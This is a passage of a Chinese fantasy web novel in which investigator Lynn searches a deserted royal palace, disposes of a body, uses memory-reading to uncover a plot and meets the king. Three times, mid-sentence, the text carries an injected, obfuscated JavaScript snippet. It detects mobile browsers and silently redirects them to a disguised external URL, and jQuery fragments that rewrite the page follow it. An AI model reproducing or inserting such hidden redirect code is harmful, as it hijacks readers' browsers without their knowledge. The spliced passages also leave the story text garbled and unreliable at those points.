这还是她十年之前的创作,没想到现在一样好用。 林恩从温蒂手中接过机械蜘蛛,尝试着操纵它。 “至于你想要的东西……我做完会告知你的。”温蒂掀开日历看了眼,“先给我10金塔拉的定金,有什么需求可以现在提。” 非要说的话—— 林恩掏出自己的笔记本,随意翻开一页,画出她习惯使用的“游戏操纵手柄”。 “如果做成这样就更好了。” 温蒂若有所思,点了点头,撕下这一页纸,顺手又收下了10金塔拉的纸币。 “你们走吧,我现在得去一趟大学。” 她抓了抓长发,随手盘了个发髻,“我需要偷偷使用差分机。” == 从温蒂家出来后,克莱尔急着回报社赶稿,两人就此分别。 林恩并没有乘坐出租马车,而是选择了齿轮高架缆车,从阿尔卡迪亚大学车站前往中央大区北站。 途中,她一直在口袋里把玩着机械蜘蛛,一边沉思。 她也好、原主也好,不过是寻寻常常的普通人,总是面临信息缺失带来的危机。 为了尽快弥补尽量多的信息,她不得不使用一些不入流的小手段。 莉亚在阿格尼格医生诊所的“偷听”,给了她一些灵感。 现在,这只机械蜘蛛,就类似于那天的莉亚,将代替她的耳朵和眼睛。 到达中央大区北站时,约莫下午四点。 人流并不算多,但眼见着有增多的趋势,林恩拢了拢衣领,尽量避开人群,乘坐公共马车到达浅湖宫附近。 这座落寞的宫殿维持着旧日的光辉。 浅湖宫依山而建,是座富丽堂皇的庞大建筑,墨蓝色的屋顶下是米白色的外墙,其上耸立着大理石雕塑。 凭借玛格丽特国王的徽章,林恩轻松地踏入这座宫殿的外墙,乘坐代步马车沿着浅湖绕行至宫殿正门口。 浅湖宫之所以得名,正是因为这片人工湖泊。 此刻,水面泛着落日的橙金色余晖。 “小姐,到了。” 车夫并不知晓林恩的身份,却仍然毕恭毕敬,“我在这里等候。” 林恩点头,“我片刻就出来。” 浅湖宫大得出奇,仅凭几个小时,是根本没办法走完的。 林恩只打算四处逛一逛,寻找出蛛丝马迹,先应付一下国王。 进入宽阔的大厅后,林恩摊开笔记本,一边随手绘制内部结构,一边仔细观察着四周。 菲利普国王去世紧随着“血色九月”,王国经历了纷争与动乱,最终理查德四世成功篡夺王位,并在宫殿最深处的王座室登基。 而后,玛格丽特国王重新夺回王权,浅湖宫再度易主。 经历了两任国王的更迭,内部早已修缮变换。 林恩找不到任何可以顺手牵羊、带回去“记忆搜查”的物品,只得悻悻地往里走。 “小姐,您有什么事情吗?” 还在徘徊时,身着笔挺西服的年迈男人提灯走来。 “我是浅湖宫的总管,您尽管吩咐。” 林恩转过身,再次展示她的国王徽章,却并没有如实说明来意。 “国王吩咐我检查浅湖宫的修缮情况,并要求我取回她存放在这里的诸多物品。” 说着,她迅速展开满字的一页,给总管瞟了一眼,又立即收了回去。 总管信以为真,诚惶诚恐道:“国王终于想起浅湖宫了吗!” 他一边走着,一边详细介绍着每一处细节。 “我们今年更换过地毯与窗帘,而桌椅是五年前更换的。” “雕塑呢?” 穿过走廊时,林恩停下脚步,仰头注视着墙面凹槽里的大理石雕像。 “这是已故帕瓦里大师的作品。”总管道,“国王喜欢这个?那我立即派人送去金蔷薇宫。” 林恩立即摇头。 总管身上带着冷宫妃子的疯感,让她有些不知所措。 “可惜了。”总管叹了口气,脚步停了下来,“前面就是皇室图书馆了,只不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386104|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏书不合国王心意,这么多年也都没更换过。” 说着,他帮忙推开橡木大门。 这间略显昏暗的圆形图书馆内,书架布满整个墙面,几乎有三五米高。 圆弧正中央,摆着胡桃木办公桌与几张柔软的皮革沙发,被擦拭得亮晶晶的。 林恩的目光落在最高处的几本书上。 倘若这些书三十多年都没变过地方,那么很有可能“目睹”过血色九月。 “那几本——”她拖长声音,用笔遥遥点了点,“应该怎么拿?” 总管拖动着沉重的木梯,正准备颤颤巍巍地往上爬,却被林恩拦住。 她没有虐待老人的意图。 “先生,我来吧。” 而后,林恩不由分说地踩上木梯,“蹭”一下爬了上去。 她挑了一本手抄本《圣明经》。 正打算回到地面时,林恩的目光刚巧瞥到另一侧。 《诺克斯》。 女神诺克斯? 皇室竟然还会珍藏这样的书? 她立即抽出第一卷,与《圣明经》一起夹在腋下。 不过,此刻夜幕已然降临,图书室里的灯光不足以让林恩看清一切。 她只得把两本书放进公文包里,又问总管: “安妮王后曾经的卧室在哪里?” 此言一出,总管的脸色瞬间变了。 “您问这个做什么?……不,我明白了,您不是来检查浅湖宫的,而是替国王查清安妮王后死因的,对不对?!” 老人嘀嘀咕咕地自言自语,随后抓着林恩的手,眼睛里满是恳切。 “您这么年轻,又是个好人,我劝您别查了。” “为什么?” 总管眼睛里是显而易见的恐惧,声线也随之颤抖: “前仆后继有这么多人,无一例外都在调查途中死了!” “而您,您还很年轻,又是个好人。”他感慨着,“我不能眼睁睁地看着您送死!” “调查这件事的人很多吗?” “很多,这五六年就没有停止过。”总管道,“一开始是军队的,后来又是国民卫队的,还有知名的侦探。” 他摇了摇头,“最长的持续了半年,却也在前不久去世了。” 林恩眼皮一跳:“您说的该不会是——” “康纳利审查官。” 总管道,“您认识吗?” 果然。 林恩苦涩地笑了笑,“岂止认识。不过康纳利审查官的死,应该只是意外。” “所有人的死亡都是意外,我亲爱的小姐,但世界上哪有这么多意外!” 林恩叹了口气,头一次感觉到绝望。 康纳利的死并不是“暗杀者”导致的,而是夜魔。 但他前往西格林郡这件事,却或多或少被操控过,多少带了点身不由己。 倘若康纳利都无法躲避死亡,那她凭什么可以? “先生,但我是迫不得已。”林恩扣上公文包的扣子,“对我来说,横竖都是死,起码国王给了我一线生机。” “唉,如果你执意的话。” 总管见状,也无法再劝。 只不过,他最终还是好心提醒: “浅湖宫在血色九月之后被恶意纵火,安妮王后的绝大多数东西都被烧了个干净,您没有必要再调查。” 林恩却敏锐地挖掘出他的措辞:“绝大多数?您是说,还是有例外的?” “的确有。” 总管缓缓点头,“只剩下那些价值连城的珠宝。” 31. 收拾残局 林恩对找到安妮王后的珠宝不抱希望。 “长刀党”和理查德四世都闯进王宫了,没道理不抢走安妮王后身上的遗物。 “先生,还有最后一个问题。” “您说。” 林恩四处张望了一下,“如果我想掩人耳目、悄悄潜入浅湖宫,应当怎么做呢?是否有王室暗道?” “即便有,我也不知道在哪里。”总管苦笑着摆摆手,“我被调来做总管时,浅湖宫已经门可罗雀了。” 好吧。 只是随口一问,林恩也并不强求得到答案。 她掏出怀表看了一眼,就立刻与总管道别。 临走前,她掏出一张10金塔拉的纸钞,塞进总管衣袖。 “感谢您今日的劝告,我大概不会再来了。” 起码不会光明正大地冲进来。 “不,我不能收。” 总管接连拒绝,却只能眼睁睁地看着林恩疾步走远。 随后,他继续发出一声苦涩的叹息。 == 入夜的墓园一片漆黑。 距离“迷惑之声”的死,已经超过半天时间,或许神学院的詹姆斯·威利斯已经意识到不对劲。 但林恩不得不重返丛林处理现场。 只要“迷惑之声”的尸体没有被发现,也就没有任何证据表明是林恩动的手,那也林恩不会成为神学院的眼中钉。 ——她还没有和整个神学院做对的打算。 白天尚且有日光的照射,能看得清前路,等到入夜后,在树林里完全找不清方向。 好在,凭借“记忆搜查”,林恩多花了些时间,却还是成功找到藏尸点。 与活人相比,“迷惑之声”的皮肤冰冷且潮湿,如同在触摸一尊被打捞出的大理石雕塑。 由于他的身体变得异常僵硬,林恩被迫多用了些力气,才把他搬到康纳利的坟墓边。 “呼。” 林恩喘着气,垂眸与“迷惑之声”浑浊的眼珠对视,后脊不禁一阵发凉。 那双凸起的眼睛里仍旧维持着最后一刻的惊诧与慌乱,表情如照片一般真实。 他根本没想到林恩会动手。 回过头想想,林恩觉得自己似乎也没有动手的理由。 “迷惑之声”只不过是想把她掳走,仅此而已,并没有显露出除此之外的其他恶意。 但她还是开枪了。 林恩捏了捏口袋里属于“迷惑之声”的头发,那里存放着属于他的记忆。 现在不是查看的时候。 康纳利审查官墓地的土壤刚刚被填上,因而很松软。 林恩迅速挖开土壤,又撬起空空荡荡的棺木,将“迷惑之声”塞了进去。 金属手杖撞击在黑檀木棺椁上,发出一声闷响。 林恩这才发现,即便已经死亡,“迷惑之声”仍旧紧紧握着他的黑铁手杖。 尽管,他不需要手杖就可以发动异能。 思考片刻,林恩把沉甸甸的黑铁手杖抽了出来—— 这不该留在康纳利坟墓里。 她打算在出海前往八级女神神殿的时候,顺手把这根黑铁手杖丢进大海里。 不过现在,时间已经不早了。 林恩掏出怀表,时针歪歪扭扭地指向“3”。 天快亮了。 == 桔梗街公寓内。 莉亚抱着柔软的毛毯,躺在沙发上沉沉入睡。 她耳畔,是座钟滴滴答答的秒针声响,就像是缓缓滴落的水流,从她耳廓滑过。 门锁忽然传来钥匙的声响。 “亨特小姐!” 莉亚瞬间坐直。 她本就没睡熟,自然一听声音就能醒来。 “你没睡吗?”林恩风尘仆仆地走进来,瞥了眼时间,颇为诧异。 “睡了,马上起床了。”莉亚打了个呵欠,目光忽然落在林恩身上,疑惑地看了又看。 “亨特小姐,您为什么换了衣服?” 昨天出门时,她明明穿着一身黑色正装,但现在却换上时兴的淡蓝色收腰长裙,甚至头发也用丝巾重新绑过。 虽然年纪小,观察力还不错。 “那套衣服弄脏了。”林恩笑了笑,摸了摸莉亚的小脸,岔开话题,“你今天打算去当报童是吗?” “是的!”莉亚眼睛亮了亮,“我马上就出发!” “或许,你可以试试看《木偶报》。” 林恩说道,一边缓缓拆开丝巾—— 这一套衣服是在回家的路上,问路边的向妓/女购买的,仅仅花了1金塔拉。 她的旧衣服被丢进焚烧炉里,彻底销毁了。 “我没听说过这个报社。”莉亚忧心忡忡,“如果卖不完,我会赔很多钱进去的。” “这两天你可以先试试看,亏本的金额由我承担。” 林恩对克莱尔记者颠倒黑白的能力和自己透露的秘闻很有自信。 “那好吧。”莉亚嘟囔着,只好半信半疑地答应下来。 等到莉亚换好衣服出门,林恩这才悠闲地给自己煮了壶浓茶。 她从裙摆下抽出黑铁手杖,放在手里把玩了片刻,终于决定使用【记忆搜查】。 不过,“迷惑之声”的记忆就像是一团浓稠的黑雾。 他的记忆并非线性存在,反倒是七零八落地分散在各处。 这或许与他一直服用的药物相关。 在他混乱的记忆里搜寻许久,林恩终于锁定八级神殿的位置! 在洋湾区四号码头处,寻找“月亮号”的船长博夫先生,全程不需要支付船费,但是需要交给他神学院开具的证明。 而后,启航后的“月亮号”会将信徒放置在海湾的小岛上,直到它返航。 对这个方案,林恩多少有些犹豫: 首先,她得冒着巨大的、被船长识破的风险; 其次,倘若被识破,威利斯先生赶到小岛抓她,不亚于瓮中捉鳖,她完全无路可逃。 或许,她得自己搞艘船。 正准备停止记忆搜查,林恩忽然检索到一段回忆。 詹姆斯·威利斯先生坐在俱乐部二楼的皮革沙发内,点燃一支卷烟。 迷惑之声站在门外,盯着径直向下的陡峭楼梯。 威利斯缓缓开口:“康纳利查到什么了?” “不清楚,但他似乎找到安妮王后的侍女了。” “区区女官,能有什么威胁?”威利斯嗤笑一声,掸了掸烟灰。 “但是,安妮王后已经怀有身孕的证据,就掌握在女官手里。” 威利斯大惊,立即从凳子上跳下来,皮鞋碾过烟蒂,左右徘徊着,一边自我安慰: “事情已经过了这么久,完全可以说证据是伪造的。” 须臾,他就冷静下来,目光恶狠狠地盯着门口。 “不行,康纳利还是得死。” “的确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392722|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他知道的太多了。威利斯先生,或许有一天会查到你的头上。” 豆大的汗水从额头上流淌下来。 “我绝不可能让这样的事情发生。”威利斯恶狠狠地发誓,又问道: “替身玩偶,你有办法杀掉康纳利吗?” 尽管威利斯先生已经是五级信徒,但他异能为真理树的“博学者”,并不具备攻击性。 这也是威利斯一直被六级信徒康纳利压一头的原因。 “不,我也做不到。”替身玩偶拒绝了威利斯的慌乱请求,“但是,我有一个主意。” “替身玩偶”开口的瞬间,林恩也想到了答案: 西格林郡! “西格林郡发来紧急求救,据说有夜魔出没。”替身玩偶的声音里带着笑意,“为什么不把他送去西格林郡呢?” 记忆停在这里,而后逐渐模糊。 得知康纳利的死亡与神学院息息相关之后,林恩无端松了口气。 她心中甚至有些隐秘的窃喜: 起码,她不会再对“迷惑之声”的死抱有愧疚。 包里还有浅湖宫的两本书。 林恩本想继续使用“记忆搜查”,奈何实在困倦,犹豫片刻就果断拉好窗帘,决定先睡一觉再说。 不过她的美梦被敲门声打断。 林恩一边披上睡袍,一边给白琳打开门。 “你怎么这副打扮——不用上班吗?”白琳颇为诧异,“你额头又是怎么回事?” “说来话长……” “你没有这么多时间说来话长,林恩。”白琳冲了进来,打开林恩的衣柜抽出几件体面的衣服,“昨晚你一直没回来,我也没办法提醒你,国王想要见你。” 国王? 林恩摇着头,“可是我才开始调查……” 白琳:“别管了,先过去吧。” 林恩还没来得及再度拒绝,人已被白琳拖着出了家门,奔跑在前往洋湾区车站的路上。 一夜没睡,叠加早起跑酷,林恩只觉得自己在猝死的边缘疯狂蹦跶。 购买了一张车票后,林恩就立刻倒在座位上,眼皮如灌铅一般沉重。 “你的包怎么这么重?”白琳抱怨,塞回林恩手中,“提一路了,累死我了。” 重? 林恩后知后觉地意识到,包里头塞了两本书。 高架缆车迟迟未到,坐在站台无所事事,林恩索性把书拿了出来,摊在大腿上随意翻看着。 《圣明经》的内容一如既往的枯燥乏味。不过,手抄本的墨水是洒了金粉的,娟秀的字迹上折射出温柔的光芒,分外美丽。 而《诺克斯》第一卷—— 林恩翻开硬质封皮,目光落在雪白的扉页上。 【阿尔卡迪亚法典】几个加粗的黑体字映入眼帘。 什么情况? 林恩再次翻看了一眼封面,确定自己没有拿错,这才意识到不妙。 封面没有变化,但是内容截然不同,并且纸张与封面的连接处出现明显的重复粘贴痕迹—— 这本书被整体偷梁换柱了! 谁偷走的? 什么时候偷走的? 仅仅是这一本、还是剩下几卷也全都被偷走? 无数问题在林恩脑子里接连产生,却无一能被回答。 她唯独能猜测到的是,用这种手段偷窃书籍的人,一定不是理查德四世。 ——大概率是某个独狼信徒! 32. 浅湖宫的秘宝 缆车喧闹着进站。 林恩挤进座位后,立即歪着脑袋靠在玻璃上呼呼大睡。 她太困了,一会儿面对国王又是一场硬仗,现在必须养精蓄锐才行。 白琳侧头看着她,欲言又止。 玛格丽特国王想要召见林恩,在白琳看来是一时兴起。 或许,只是碰巧想要找林恩? 望着林恩疲惫困倦的面孔,白琳抿抿唇。 在蒂娜内务官的提醒下,白琳总算意识到当初的自己有多么莽撞: 以国王在乎血色九月的程度,这么多年一直没能挖出真相,一定是哪一环出现了问题。 白琳后来旁敲侧击地了解到,所有奉命调查的官员都已牺牲,无一例外。 现在,她亲手把林恩推入火坑:这是比国民卫队更大的火坑。 白琳懊恼地抓了抓头发,忽然听见列车到站的铃声。 中央大区中心站到了。 “国王一般在八点整开晨会,如果运气不好的话,会开到中午。”白琳说道,“在此之前,她不会找你交流。” 林恩想了想,“那我能呆在哪里?” “图书室是个不错的选择,但我不确定国王是否允许你进去。”白琳拍拍她的肩膀,“我会试试看的。” 一边说着,她一边出示证件,顺利通过了守卫的检查。 第二次进入金蔷薇宫,是与头一次截然不同的视角。 这里严肃且忙碌,没有人脸上带着笑意,似乎都在为各种事情忧心。 “那些是什么人?”林恩指了指一群穿着淡蓝色长裙的孩子。 尽数是女孩,头发也都盘得整整齐齐,似乎在聆听某个女官的教导。 “那是学徒女官。”白琳道,“我小时候,就曾是学徒女官,只不过那时还不在这里。” 不在这里?那么能在哪里? “你在浅湖宫里呆过?” 林恩大吃一惊,竟有种得来全不费功夫的荒唐感。 “是呀,那时候我才七八岁,当时一直听其他宫女说浅湖宫里藏着无穷无尽的冤魂,吓得好几夜都睡不着觉。” 一旦回忆起童年的有趣经历,白琳的话也多了,连带着嘴角也忍不住上扬。 “冤魂——”林恩环视四周,最终决定不在金蔷薇宫聊这些王室禁忌。 “罢了,这里不是说话的地方,我晚上回去再问你。” 白琳挠了挠头,并不知道林恩想要什么回答。 国王的晨会比想象中结束的早一些,林恩没有等待很久,就直接被带去国王的书房。 “林恩·亨特审查官,给你的任务,你开始准备了吗?” 玛格丽特国王从一沓报告中抬起头,目光炯炯地盯着林恩。 “开始了,国王陛下。” 林恩瞥了眼站在一旁使眼色的白琳,不明所以地从包里取出一册书。 “还没来得及写报告,陛下,这是我目前的发现。” 国王伸手,立即有女官把书从林恩手里接过去,放在她手中。 她看了眼封面,念了出来:“《圣明经》?” “……不是这本。”林恩咽了下口水,慌乱地看了眼公文包,掏出剩下一本,重新递了过去。 蒂娜内务官瞥了眼林恩,默不作声地叹了口气。 这孩子,多少有些莽撞。 国王把《圣明经》随手放在一边,目光继而投向这本《诺克斯》。 “这本书……你怎么带过来了?” 她问道,分辨不出语气里是否有怒意。 “陛下,我原本好奇为什么浅湖宫有这样的存书,于是拿下来看了一眼。”林恩抬眼,半真半假地诉说着理由,继而话锋一偏: “但是,我翻开这本书,却发现它的内容被重新粘贴过。” 闻言,国王掀开封面。 她的视线停留在内页,随后点了点头。“我知道了。” “所以我怀疑——” “你怀疑的是,这本书被人动过手脚,是吗?” 林恩点头。 “只不过,因为时间太过遥远,所以我没有办法确定,是具体在什么时候偷梁换柱的。” “这个发现很重要。”国王说着,掀开眼皮看了眼林恩,似乎在揣度她的可信度。 很快,她就从抽屉里翻出一张信封,丢到林恩面前。 “读读看。” 打开信纸的第一眼,林恩整个人就惊住:这个字迹是康纳利审查官的! “我昨天才得知,你与康纳利审查官的关系。”玛格丽特国王批阅着众多公文,一边慢条斯理地说,“他是个很忠诚、很可靠的人,而你是他挑选出来的学生,我希望可以信任你。” 林恩没有吭声。 她扫了一眼信纸,随后重新还给国王。 内容她其实已经知道了:在血色九月当晚,被杀死的安妮王后已经怀有身孕了。 “你们都先下去吧,你留下,林恩。”国王盖上笔帽,一边站起身,对着众多女官下达命令。 众人鱼贯而出,只剩下林恩孤零零地站在原地。 “我可以透露给你一点信息,林恩。”国王示意林恩坐在沙发上,声音压得很低。 “你应该知道,当初我没能顺利登上王位,最大的阻力是什么吧?” “谋逆者理查德?” 玛格丽特国王笑了笑,随后摇头。 “看似是他的过错,但最大的原因是,我的父亲菲利普国王没有男性继承人。” 说到这里,玛格丽特国王的眸色沉了沉。 显然,这句话虽然是事实,但让她很不愉快。 “我的母亲死前,肚子里怀有一个男胎。” 林恩惊诧地抬起头,不可思议地望着国王。 男胎…… 也就意味着,菲利普国王的子嗣继承王位的最大阻力,也消失了? “所以,谋逆者理查德有足够大的动机。” 玛格丽特国王说着,把两本书重新还给林恩。 “我现在,希望你往这个方向调查,不要继续调查信徒的事情了。” 林恩立刻点头。 国王吩咐什么,她就做什么。 “你在调查过程中如果遇到什么麻烦,可以直接跟白琳内务官或者蒂娜内务官说,她们都会帮你。” “支取一些现金也可以吗?” “当然可以。” 国王的眉心抽了抽,实在没想到林恩直接问她要钱。 林恩眉开眼笑了一会儿,忽然想到第二个请求。 “还有一个请求,国王陛下,我想要借用一艘船。” 玛格丽特国王没有拒绝。 == 林恩从国王书房走出来之后,白琳亲自把她送到金蔷薇宫门口。 “你怎么张口就跟国王提条件啊!好大的胆子!”白琳一边擦汗,一边揪着林恩的脸颊,“你也不害怕吗?” “还好。”林恩老老实实说,“是她自己问我缺什么的,不是吗?” “算了,跟你讲不通。”白琳心力交瘁地摆摆手,“我今天会早点回去的,晚上再跟你说吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401361|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 林恩“嗯”了一声。 刚好,晚上她也有一些要问的。 她悄无声息地摸了摸鼓鼓囊囊的钱袋,伸手拦了辆出租马车。 ——在国王的暗示下,蒂娜内务官给林恩准备了丰厚的“调查资金”,完全足够林恩雇佣出租马车。 “去东区枫叶教堂。”林恩说道,一边踏进车厢。 在漫长的路途中,她必须要确认一件事。 【我要搜查《诺克斯》的记忆。】 …… 记忆的第一秒,是一场对峙。 黑袍男人与宫廷侍女对视而立,粗哑的闷声从他的黑铁面具中传出。 “‘那个东西’藏在哪里?” 宫女满脸是泪,一直摇着头,“我不知道,先生,我真的不知道。” “我再问一遍,国王把秘宝藏在哪里?” 黑袍男人掐着宫女纤细的脖子,冷佞的目光盯着她,嗓音如阴冷的蛇,绞在宫女的心脏上。 “我真的不知道!求求你放过我!” 宫女的祈求并没有打动黑袍男人。 他随意把宫女丢在地上,只瞥了一眼,瞬息之间宫女已断了气! 而后,他把目光放在《诺克斯》上。 门外忽然传来脚步声。 黑袍男人目光一凛,抓着地上的尸体,小心地藏匿在黑暗处。 门外,女官的声音愈发近了:“王后派莱雅拿书,她来了图书室吗?” “玛丽亚内务官,莱雅进去了一会儿了。” “把门打开,我去看看怎么回事。”玛丽亚内务官的声音隔着门板传了过来,“时间太久了。” 来不及了。 黑袍男人迅速抓起书架上另一本书,随着他的念念有词,书页与封面自然分开,而后又自动拼合! “玛丽亚内务官!出事了!” 黑袍男人闻声一愣。 趁着屋外一片喧哗,黑袍男人迅速将《诺克斯》归位—— 书籍漂浮在半空中,随后迅速插入原始位置。 …… 毋庸置疑,眼前这个男人是信徒。 而这件事,大概发生在“血色九月”之前,当时菲利普国王与安妮王后还活着。 那么,黑袍信徒为什么要偷走这本书? 他寻找的秘宝又是什么? 难道,书中有关于秘宝的描述? 诸多问题让林恩陷入不安。 她迫切地想获得答案,但答案注定已经消亡在历史的长河里。 等等—— 死掉的宫女叫“莱雅”,还有一个女官叫玛利亚。 根据这两个名字,大致可以找出书籍被偷换的年份,或许可以顺藤摸瓜挖掘出黑袍男人的身份。 林恩把笔记本翻到最后一夜,写下这几个名字,而后重重地叹了口气。 玛格丽特国王说的没错,即便她围绕着这本《诺克斯》与信徒调查得再多,那也无济于事。 她只需要围绕“理查德四世”调查就行,其他的一切都与她无关。 只不过,林恩不禁质疑起此事的必要性: 理查德四世已经死亡,他代表的势力随着他的死也逐渐消亡,照理来说玛格丽特国王不该执意探查才对。 除非—— 她意识到了理查德四世的余党还存在,并且对王位仍旧虎视眈眈! 余党…… 艾迪·穆德?! 林恩浑身一颤,随后听见车夫的呼喊。 “小姐,枫叶教堂已经到了。” 33. 低劣的撒谎者 林恩的目的地并非枫叶教堂,而是四号码头。 她原本并不打算如此慌忙地晋升八级信徒,奈何前有蒙德里安·威灵顿审查官,后有神学院信徒詹姆斯·威利斯,身边还暗藏着“血色九月”的暗杀危机,林恩不得不用特殊手段武装自己。 九级信徒的“记忆搜查”虽然好用,但没有任何杀伤力。 花费了十分钟步行至四号码头后,林恩一眼就看到“月亮号”停泊在港口之内,光看外观并不显眼。 此时的月亮号应该是一艘空船! 林恩眼睛亮了亮,改变了原本打算寻找船长博夫的计划,另改为潜入月亮号搜查。 四下无人,她一个飞扑,手指勾住船体外沿,而后双臂吊挂着挪动至船尾,悄无声息地爬到甲板上。 林恩行动迅速,动作安静,如同一只灵活的软猫。 “吁——” 下一秒,林恩却赫然听见一声口哨声! 她后脊发凉,迅速躲避至掩体后方,又探出窥视镜小心翼翼地观察着—— 莱亚·古德温那张熟悉的面孔,正在相邻的那艘船上,笑意盈盈地看着自己。 竟然是他? 他为什么出现在这里? 林恩刚探出半个脑袋,却听见叮叮咚咚的脚步声。 皮靴撞击着木制台阶,发出微小的震颤。 不好! 她迅速掏出“机械蜘蛛”,小心放置在隐秘的阴影角落,随后迅速翻身跳下! 船体外侧的只有一处铁钩可供林恩固定身体,她不得不用手指死死扣住,身体紧贴着船身,像一张纸片般牢牢贴住,完全不留缝隙。 “明明有动静啊。”船长博夫先生有些纳闷,“抱歉了,威灵顿审查官,让您上来一趟。” 威灵顿审查官? 那该死的蒙德里安? “没有关系,博夫先生。”蒙德里安审查官说道,“您今天提供的线索很重要。” 两人聊着天走远,从林恩的角度根本听不清二人的对话。 悬吊过久,她的手臂开始脱力,不得不咬牙支撑着。 “审查官小姐,看样子您很狼狈。”莱亚·古德温的声音慢悠悠地跨过船舱,戏谑地传过来。 “或许,您在做贼吗?” “……” 林恩对他的冷嘲热讽充耳不闻。 “你也不怕我害你?”莱亚·古德温的笑脸在阳光之下显得格外邪佞。 林恩翻了个白眼,撇开脸,不愿继续搭理。 “威灵顿审查官!” 莱亚·古德温忽然高声喊道。 他想干什么?! 林恩吓得一激灵,立刻抬头瞪向莱亚·古德温。 “诶,古德温上校?”蒙德里安·威灵顿的声音远远飘来,“好巧啊。” 莱亚斜睨了眼惊弓之鸟般的林恩,同威灵顿审查官交谈:“不巧,我这些天被派来海军协助训练,所以才在这里检查船只。您呢?还在调查爆炸案吗?” 显然,他对国民卫队了如指掌。 “没错,愁得我头发都白了。”威灵顿审查官哈哈笑着,林恩头一次听见他如此谄媚的语气,不禁对莱亚生出几分谨慎的好奇。 “不如我们找个地方细聊?”莱亚道,“如果我能帮得上忙的话。” “那就再好不过了!” 威灵顿审查官喜不自胜,一边热情地邀请莱亚下船,前往一家海景餐厅。 离开之前,莱亚特意望着摇摇欲坠的林恩,做出“不用谢”的口型。 “……” 林恩对此并不感激。 等到几人离开,她才重新爬上甲板,一边揉捏着酸胀的胳膊,一边小心翼翼地探视着周围,顺手收回地上的机械蜘蛛。 虽然胳膊有些酸痛,但完全没有到达林恩的极限:原主的身体素质显然远超常人。 船长和威灵顿审查官均被支走,林恩却并不打算磨蹭: 她需要尽快找到“月亮号”的航线图。 林恩如此谨慎的原因是,自从她的异能使用得愈发熟练,也就愈发明白破绽是无法避免的。 唯一能做的,只有缩短时间,尽量让破绽短暂一些。 船长驾驶舱内,果不其然有一份航线图。 林恩誊抄在随身携带的笔记本上,随后又悄无声息地将内容归位。 或许对照着“王国标准地图”,就可以顺利找到神殿所在的未知小岛。 林恩一边心想,一边迅速逃离“月亮号”。 == 返回桔梗街已是下午。 林恩酣畅淋漓地睡了几个小时,终于被门锁声吵醒。 第一天当报童的莉亚回来,斜挎的布包走起路来叮当作响,显然是满载而归。 “亨特小姐,您不会睡了一整天吧?” 看到林恩披着睡袍从房间内走出来,莉亚显然有些意外。 林恩不愿透露自己的行迹,只问她:“今天收获如何?” “很好!”莉亚精神抖擞,丝毫没有倦意,“全都卖光了,我数了一下,今天总共挣了23银舌尔!” 竟有这么多? 林恩挑起眉,一手端着热腾腾的茶杯。 “那你更应该好好缝一缝你的小包了,莉亚小姐,看上去小偷可以轻而易举地把你的钱偷走。” “唔,您说的是。” 莉亚快活地找到针线包,盘腿坐在地板上,对着台灯仔细加固起来。 林恩浅笑,看着莉亚像勤劳的蜜蜂一般忙碌,总有种当妈的错觉。 “门铃响了,亨特小姐,麻烦您开一下门。”莉亚抬起头,食指与拇指捏紧了缝衣针,“吩咐”林恩干活。 好吧。 林恩漫不经心地走到大门边,一手捧着茶杯,一手慢吞吞地拧动门把—— 门外竟是莱亚·古德温! 林恩“嘭”一声重新合上门,只装作自己不在家。 “喂,亨特审查官,您有些没礼貌了吧?”莱亚·古德温在门外喊道。 “你难道已经忘记了,我是你的救命恩人?” “……” 林恩垂下眼,刚好与好奇的莉亚对视。 “怎么了?” 莉亚慌乱地询问道,“是来找我的吗?是东区那群催债的人吗?” “不是,你放心。你在我这里很安全。” 林恩一边安抚着小姑娘,一边迫不得已地打开门,单手撑着门框,仰头看向莱亚。 “古德温上校,我怎么不记得您救过我?” “撒谎。” 莱亚·古德温哼笑一声,轻轻嗅着空气。 只有谎言才带有的苦荞的味道,偏偏带上一丝微弱的橙花味。 “我这里还有孩子,或许我们可以出去聊。” 莱亚探身朝屋内瞥了一眼,注意到不远处的身影。 “孩子?你的?” “嗯,我的。” 苦荞味再一次出现。 莱亚想,自从自己唤醒异能之后,还没遇到过这样明知道他是“谎言识别者”还三番五次撒谎的人。 “或许,亨特审查官,您应该知道我是谎言识别者吧?” 为了以防万一,他出声提醒。 “忘记了。” “又在撒谎。” 林恩忍不住翻了个白眼。 “亨特小姐,您要出门是吗?”路过门房时,朱莉亚夫人从房间里走了出来,递来一只纯白色的信封。 “早晨有一个小孩子把这封信送了过来,我看了一眼,收件人是你。” 信封? 林恩伸手接过,看 